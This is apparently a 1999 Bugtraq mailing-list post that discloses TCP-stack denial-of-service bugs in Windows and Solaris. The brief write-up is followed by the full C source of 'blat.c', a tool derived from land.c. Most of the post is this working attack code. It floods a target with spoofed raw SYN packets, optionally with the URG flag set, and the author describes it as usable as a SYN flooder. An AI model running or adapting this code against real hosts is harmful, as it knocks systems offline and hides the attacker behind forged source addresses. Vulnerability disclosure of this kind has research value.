blat.c
Date: Fri, 31 Dec 1999 17:45:23 -0800
From: Loneguard <loneguard@CRAZYMONKEY.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: blat.c
blat.c was originally born out of some firewall 'exercising' that
I was doing. More on that at a later date, but I came across an
amusing bug in some windoze IP stacks and a nasty one in slowaris.
The code below is just land.c slightly modified to trigger the bugs
and can be used as a brain dead SYN flooder. The windoze bug seems to
have now been fixed but went like this....after receiving a large
number of TCP open requests left in the SYN state, the TCP portion of
the IP stack would cease to work. ICMP, udp etc were fine but no
new incoming or outgoing TCP sessions work.
Further research lead to the slowaris DoS regarding its handling of
TCP open requests with the urg flag set. It would seem the IP stack
reserves resources for such an urgent open request and after
receiving a large number, it ceases to respond. To make things
worse, if the admin of the box you blat HUPs the controlling process,
it panics. :) oops.
/* blat.c by Loneguard 14/01/99 ( based on land.c by m3lt, FLC ) */
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct sockaddr_in sin2;
struct hostent * hoste;
int sock,i;
int foobart=1000;
u_char foobarflags=TH_SYN;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"blat.c by Loneguard\n");
if(argc<4)
{
fprintf(stderr,"usage: %s [source IP] [target IP] [port] <reps> <urg>\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
bzero(&sin2,sizeof(struct sockaddr_in));
sin2.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin2.sin_addr,hoste->h_length);
else if((sin2.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((hoste=gethostbyname(argv[2]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[2]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[2]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[3])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[3]);
return(-1);
}
if (argc>=5) foobart=atoi(argv[4]);
if (argc>=6) foobarflags=0x22;
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
for ( i=0;i<foobart;i++ ) {
sin2.sin_addr.s_addr=htonl(ntohl(sin2.sin_addr.s_addr)+1);
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
ipheader->saddr=sin2.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
/* tcpheader->th_flags=TH_SYN&&TH_URG; */
tcpheader->th_flags=foobarflags;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
tcpheader->th_urp=htons(666);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin2.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}
}
fprintf(stderr,"%s:%s blated!\n",argv[2],argv[3]);
close(sock);
return(0);
}